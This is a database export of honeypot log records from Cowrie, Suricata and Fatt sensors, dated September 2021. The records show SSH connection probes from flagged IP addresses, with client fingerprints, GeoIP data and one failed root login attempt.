28215	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:16:33.371728+03	2021-09-20 14:30:02.537524+03	{"_id": "DAbsAnwBvYTbRNuEAi0T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b05ac15b10b2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:33.371728Z", "@timestamp": "2021-09-20T11:16:33.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28216	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:16:33.653996+03	2021-09-20 14:30:02.539525+03	{"_id": "DgbsAnwBvYTbRNuEAy3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 781767490490096, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56372, "dest_port": 22, "timestamp": "2021-09-20T11:16:33.653996Z", "@timestamp": "2021-09-20T11:16:33.653Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28217	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:35.261225+03	2021-09-20 14:30:02.540525+03	{"_id": "GQbsAnwBvYTbRNuECS0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52482, "dest_port": 22, "timestamp": "2021-09-20T11:16:35.261225", "@timestamp": "2021-09-20T11:16:35.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28218	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:35.16627+03	2021-09-20 14:30:02.541524+03	{"_id": "GgbsAnwBvYTbRNuECS3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "de0b4293f12e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:35.166270Z", "@timestamp": "2021-09-20T11:16:35.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:35.261893+03	2021-09-20 14:30:02.542523+03	{"_id": "HQbsAnwBvYTbRNuECS3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "de0b4293f12e", "@version": "1", "timestamp": "2021-09-20T11:16:35.261893Z", "@timestamp": "2021-09-20T11:16:35.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28220	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:16:36.171154+03	2021-09-20 14:30:02.544554+03	{"_id": "IAbsAnwBvYTbRNuEDS3L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b05ac15b10b2", "@version": "1", "duration": 2.7997336387634277, "timestamp": "2021-09-20T11:16:36.171154Z", "@timestamp": "2021-09-20T11:16:36.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28222	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:16:37.567286+03	2021-09-20 14:30:02.546553+03	{"_id": "JgbsAnwBvYTbRNuEES21", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "b88334c40a44", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:16:37.567286Z", "@timestamp": "2021-09-20T11:16:37.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28223	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:16:37.739928+03	2021-09-20 14:30:02.548557+03	{"_id": "KwbsAnwBvYTbRNuEES24", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "b88334c40a44", "@version": "1", "timestamp": "2021-09-20T11:16:37.739928Z", "@timestamp": "2021-09-20T11:16:37.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28224	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:16:37.393958+03	2021-09-20 14:30:02.549556+03	{"_id": "LAbsAnwBvYTbRNuEES25", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:42700 (192.168.176.2:22) [session: b88334c40a44]", "session": "b88334c40a44", "@version": "1", "protocol": "ssh", "src_port": 42700, "dest_port": 22, "timestamp": "2021-09-20T11:16:37.393958Z", "@timestamp": "2021-09-20T11:16:37.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28225	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:16:36.948725+03	2021-09-20 14:30:02.550554+03	{"_id": "LwbsAnwBvYTbRNuEES25", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ddc5e22cd61c", "@version": "1", "duration": 5.479147672653198, "timestamp": "2021-09-20T11:16:36.948725Z", "@timestamp": "2021-09-20T11:16:36.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28226	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:16:37.567162+03	2021-09-20 14:30:02.551525+03	{"_id": "MgbsAnwBvYTbRNuEEy2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 654666523566041, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42700, "dest_port": 22, "timestamp": "2021-09-20T11:16:37.567162Z", "@timestamp": "2021-09-20T11:16:37.567Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28263	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:52.237579+03	2021-09-20 14:30:02.601523+03	{"_id": "kgbsAnwBvYTbRNuETC1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "79061c1582ae", "@version": "1", "duration": 9.48755931854248, "timestamp": "2021-09-20T11:16:52.237579Z", "@timestamp": "2021-09-20T11:16:52.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28227	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:16:37.508393+03	2021-09-20 14:30:02.553556+03	{"_id": "MQbsAnwBvYTbRNuEEy2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4925, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1649, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2096323836099850, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44312, "timestamp": "2021-09-20T11:16:37.508393Z", "@timestamp": "2021-09-20T11:16:37.508Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28228	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:16:37.507146+03	2021-09-20 14:30:02.554553+03	{"_id": "NAbsAnwBvYTbRNuEEy2C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4925, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2096323836099850, "@version": "1", "in_iface": "enp5s0", "src_port": 44312, "dest_port": 53, "timestamp": "2021-09-20T11:16:37.507146Z", "@timestamp": "2021-09-20T11:16:37.507Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28229	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:38.413123+03	2021-09-20 14:30:02.555554+03	{"_id": "NQbsAnwBvYTbRNuEFC3G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35000, "dest_port": 443, "timestamp": "2021-09-20T11:16:38.413123", "@timestamp": "2021-09-20T11:16:38.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28230	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:16:58.437644+03	2021-09-20 14:30:02.556556+03	{"_id": "rwbsAnwBvYTbRNuEYy3K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/213] failed", "session": "b2e94fb53a46", "@version": "1", "password": "213", "username": "root", "timestamp": "2021-09-20T11:16:58.437644Z", "@timestamp": "2021-09-20T11:16:58.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
